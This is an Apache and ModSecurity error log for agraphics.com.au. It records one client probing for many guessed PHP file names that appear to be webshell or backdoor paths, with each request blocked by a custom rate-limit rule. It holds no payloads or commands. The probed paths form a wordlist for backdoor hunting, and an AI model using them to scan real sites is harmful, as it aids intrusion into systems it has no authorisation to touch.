[Thu Apr 02 07:09:40.551525 2026] [:error] [pid 29467:tid 29472] [client 20.240.45.211:42624] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ac2ltL4VUBFCJAq-WOk3kQAAAQI"]
[Thu Apr 02 07:09:41.140697 2026] [:error] [pid 59194:tid 59237] [client 20.240.45.211:12570] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sf.php"] [unique_id "ac2ltRMpAeV11hcQehznyQAAABg"]
[Thu Apr 02 07:09:41.674720 2026] [:error] [pid 29467:tid 29471] [client 20.240.45.211:62941] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ac2ltb4VUBFCJAq-WOk3lgAAAQE"]
[Thu Apr 02 07:09:42.235400 2026] [:error] [pid 59200:tid 59244] [client 20.240.45.211:60583] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ac2ltrfP26txrdLs3EoGXwAAAEQ"]
[Thu Apr 02 07:09:42.784214 2026] [:error] [pid 23927:tid 23932] [client 20.240.45.211:62931] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ac2ltksZwqCndhl9uKBjsgAAAYM"]
[Thu Apr 02 07:09:43.338205 2026] [:error] [pid 29467:tid 29475] [client 20.240.45.211:12596] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "ac2lt74VUBFCJAq-WOk3mwAAAQU"]
[Thu Apr 02 07:09:43.902069 2026] [:error] [pid 29467:tid 29472] [client 20.240.45.211:12606] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhm.php"] [unique_id "ac2lt74VUBFCJAq-WOk3nAAAAQI"]
[Thu Apr 02 07:09:44.470647 2026] [:error] [pid 23927:tid 23953] [client 20.240.45.211:44741] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhm.php"] [unique_id "ac2luEsZwqCndhl9uKBjtgAAAZg"]
[Thu Apr 02 07:09:45.026132 2026] [:error] [pid 23927:tid 23947] [client 20.240.45.211:62939] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhm.php"] [unique_id "ac2luUsZwqCndhl9uKBjuAAAAZI"]
[Thu Apr 02 07:09:45.564595 2026] [:error] [pid 23927:tid 23931] [client 20.240.45.211:13064] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bhm.php"] [unique_id "ac2luUsZwqCndhl9uKBjuQAAAYI"]
[Thu Apr 02 07:09:46.111462 2026] [:error] [pid 59201:tid 59272] [client 20.240.45.211:12933] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "ac2lusAC0Tw8eL6gzZ6TgAAAAIU"]
[Thu Apr 02 07:09:46.641005 2026] [:error] [pid 29467:tid 29485] [client 20.240.45.211:13072] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "ac2lur4VUBFCJAq-WOk3oQAAAQ8"]
[Thu Apr 02 07:09:47.189205 2026] [:error] [pid 59305:tid 59323] [client 20.240.45.211:60569] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "ac2lu6r2tV4rDwKFxKchFQAAAM4"]
[Thu Apr 02 07:09:47.713598 2026] [:error] [pid 29467:tid 29489] [client 20.240.45.211:12937] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "ac2lu74VUBFCJAq-WOk3pAAAARM"]
[Thu Apr 02 07:09:48.250406 2026] [:error] [pid 23927:tid 23939] [client 20.240.45.211:44761] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2lvEsZwqCndhl9uKBjuwAAAYo"]
[Thu Apr 02 07:09:48.775272 2026] [:error] [pid 23927:tid 23938] [client 20.240.45.211:60551] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2lvEsZwqCndhl9uKBjvAAAAYk"]
[Thu Apr 02 07:09:49.303164 2026] [:error] [pid 29467:tid 29488] [client 20.240.45.211:12974] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2lvb4VUBFCJAq-WOk3pQAAARI"]
[Thu Apr 02 07:09:49.840501 2026] [:error] [pid 59201:tid 59286] [client 20.240.45.211:13091] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kiwkiw.php"] [unique_id "ac2lvcAC0Tw8eL6gzZ6TgwAAAJM"]
[Thu Apr 02 07:09:50.409049 2026] [:error] [pid 59201:tid 59289] [client 20.240.45.211:12588] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "ac2lvsAC0Tw8eL6gzZ6ThAAAAJY"]
[Thu Apr 02 07:09:50.941595 2026] [:error] [pid 23927:tid 23940] [client 20.240.45.211:12572] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "ac2lvksZwqCndhl9uKBjwAAAAYs"]
[Thu Apr 02 07:09:51.478908 2026] [:error] [pid 59305:tid 59309] [client 20.240.45.211:62970] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "ac2lv6r2tV4rDwKFxKchGAAAAMA"]
[Thu Apr 02 07:09:52.006142 2026] [:error] [pid 29467:tid 29475] [client 20.240.45.211:13094] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "ac2lwL4VUBFCJAq-WOk3qAAAAQU"]
[Thu Apr 02 07:09:52.574564 2026] [:error] [pid 59194:tid 59216] [client 20.240.45.211:12564] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ac2lwBMpAeV11hcQehznzAAAAAM"]
[Thu Apr 02 07:09:53.112155 2026] [:error] [pid 59194:tid 59223] [client 20.240.45.211:12589] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ac2lwRMpAeV11hcQehznzQAAAAo"]
[Thu Apr 02 07:09:53.643329 2026] [:error] [pid 29467:tid 29472] [client 20.240.45.211:54542] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ac2lwb4VUBFCJAq-WOk3qQAAAQI"]
[Thu Apr 02 07:09:54.178339 2026] [:error] [pid 29467:tid 29477] [client 20.240.45.211:62942] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxx.php"] [unique_id "ac2lwr4VUBFCJAq-WOk3qwAAAQc"]
[Thu Apr 02 07:09:54.711920 2026] [:error] [pid 29467:tid 29481] [client 20.240.45.211:62920] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "ac2lwr4VUBFCJAq-WOk3rQAAAQs"]
[Thu Apr 02 07:09:55.238479 2026] [:error] [pid 59201:tid 59276] [client 20.240.45.211:62930] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "ac2lw8AC0Tw8eL6gzZ6TjAAAAIk"]
[Thu Apr 02 07:09:55.762034 2026] [:error] [pid 59201:tid 59283] [client 20.240.45.211:13060] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "ac2lw8AC0Tw8eL6gzZ6TjwAAAJA"]
[Thu Apr 02 07:09:56.300021 2026] [:error] [pid 59200:tid 59248] [client 20.240.45.211:62945] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xozx.php"] [unique_id "ac2lxLfP26txrdLs3EoGYwAAAEg"]
[Thu Apr 02 07:09:56.847627 2026] [:error] [pid 59305:tid 59314] [client 20.240.45.211:62971] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-upload.php"] [unique_id "ac2lxKr2tV4rDwKFxKchHAAAAMU"]
[Thu Apr 02 07:09:57.406788 2026] [:error] [pid 59200:tid 59241] [client 20.240.45.211:58972] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-upload.php"] [unique_id "ac2lxbfP26txrdLs3EoGZQAAAEE"]
[Thu Apr 02 07:09:57.935980 2026] [:error] [pid 59200:tid 59242] [client 20.240.45.211:62967] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-upload.php"] [unique_id "ac2lxbfP26txrdLs3EoGZgAAAEI"]
[Thu Apr 02 07:09:58.463615 2026] [:error] [pid 59200:tid 59245] [client 20.240.45.211:44799] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-upload.php"] [unique_id "ac2lxrfP26txrdLs3EoGZwAAAEU"]
[Thu Apr 02 07:09:58.990857 2026] [:error] [pid 59305:tid 59320] [client 20.240.45.211:58945] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac2lxqr2tV4rDwKFxKchHgAAAMs"]
[Thu Apr 02 07:09:59.517680 2026] [:error] [pid 59200:tid 59255] [client 20.240.45.211:60562] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac2lx7fP26txrdLs3EoGaAAAAE8"]
[Thu Apr 02 07:10:00.044632 2026] [:error] [pid 29467:tid 29485] [client 20.240.45.211:60570] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac2lyL4VUBFCJAq-WOk3sQAAAQ8"]
[Thu Apr 02 07:10:00.659229 2026] [:error] [pid 37543:tid 37552] [client 20.240.45.211:12973] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/only.php"] [unique_id "ac2lyHhdk2bEYJCvILY6UAAAAUc"]
[Thu Apr 02 07:10:01.186604 2026] [:error] [pid 29467:tid 29492] [client 20.240.45.211:12959] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "ac2lyb4VUBFCJAq-WOk3sgAAARY"]
[Thu Apr 02 07:10:01.769078 2026] [:error] [pid 59200:tid 59254] [client 20.240.45.211:12948] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "ac2lybfP26txrdLs3EoGagAAAE4"]
[Thu Apr 02 07:10:02.303887 2026] [:error] [pid 59305:tid 59322] [client 20.240.45.211:44787] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "ac2lyqr2tV4rDwKFxKchHwAAAM0"]
[Thu Apr 02 07:10:02.836648 2026] [:error] [pid 23927:tid 23946] [client 20.240.45.211:58962] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "ac2lyksZwqCndhl9uKBjyQAAAZE"]
[Thu Apr 02 07:10:03.364364 2026] [:error] [pid 59194:tid 59225] [client 20.240.45.211:42635] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa.php"] [unique_id "ac2lyxMpAeV11hcQehzn1QAAAAw"]
[Thu Apr 02 07:10:03.898793 2026] [:error] [pid 29467:tid 29486] [client 20.240.45.211:12580] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa.php"] [unique_id "ac2ly74VUBFCJAq-WOk3twAAARA"]
[Thu Apr 02 07:10:04.444086 2026] [:error] [pid 29467:tid 29478] [client 20.240.45.211:44777] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa.php"] [unique_id "ac2lzL4VUBFCJAq-WOk3uAAAAQg"]
[Thu Apr 02 07:10:04.972425 2026] [:error] [pid 37543:tid 37550] [client 20.240.45.211:12584] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa.php"] [unique_id "ac2lzHhdk2bEYJCvILY6UgAAAUU"]
[Thu Apr 02 07:10:05.509219 2026] [:error] [pid 37543:tid 37555] [client 20.240.45.211:44776] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ac2lzXhdk2bEYJCvILY6VQAAAUo"]
[Thu Apr 02 07:10:06.034657 2026] [:error] [pid 37543:tid 37560] [client 20.240.45.211:12585] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ac2lznhdk2bEYJCvILY6VwAAAU8"]
[Thu Apr 02 07:10:06.569941 2026] [:error] [pid 37543:tid 37558] [client 20.240.45.211:44776] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ac2lznhdk2bEYJCvILY6WAAAAU0"]
[Thu Apr 02 07:10:07.095660 2026] [:error] [pid 29467:tid 29477] [client 20.240.45.211:45306] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-act.php"] [unique_id "ac2lz74VUBFCJAq-WOk3vgAAAQc"]
[Thu Apr 02 07:10:07.628470 2026] [:error] [pid 37543:tid 37565] [client 20.240.45.211:58967] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ac2lz3hdk2bEYJCvILY6WwAAAVQ"]
[Thu Apr 02 07:10:08.153426 2026] [:error] [pid 29467:tid 29490] [client 20.240.45.211:13056] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ac2l0L4VUBFCJAq-WOk3wgAAARQ"]
[Thu Apr 02 07:10:08.682475 2026] [:error] [pid 29467:tid 29488] [client 20.240.45.211:12955] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ftde.php"] [unique_id "ac2l0L4VUBFCJAq-WOk3xgAAARI"]
[Thu Apr 02 07:10:09.228337 2026] [proxy_fcgi:error] [pid 29467:tid 29494] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:09.517878 2026] [proxy_fcgi:error] [pid 29467:tid 29475] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:09.788525 2026] [proxy_fcgi:error] [pid 29467:tid 29477] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:10.058170 2026] [proxy_fcgi:error] [pid 29467:tid 29490] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:10.326222 2026] [proxy_fcgi:error] [pid 29467:tid 29483] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:10.595074 2026] [proxy_fcgi:error] [pid 29467:tid 29489] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:10.861868 2026] [proxy_fcgi:error] [pid 29467:tid 29476] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:11.130560 2026] [proxy_fcgi:error] [pid 29467:tid 29471] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:11.398363 2026] [proxy_fcgi:error] [pid 29467:tid 29484] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
[Thu Apr 02 07:10:11.684059 2026] [proxy_fcgi:error] [pid 29467:tid 29494] [client 20.240.45.211:44790] AH01071: Got error 'Primary script unknown'
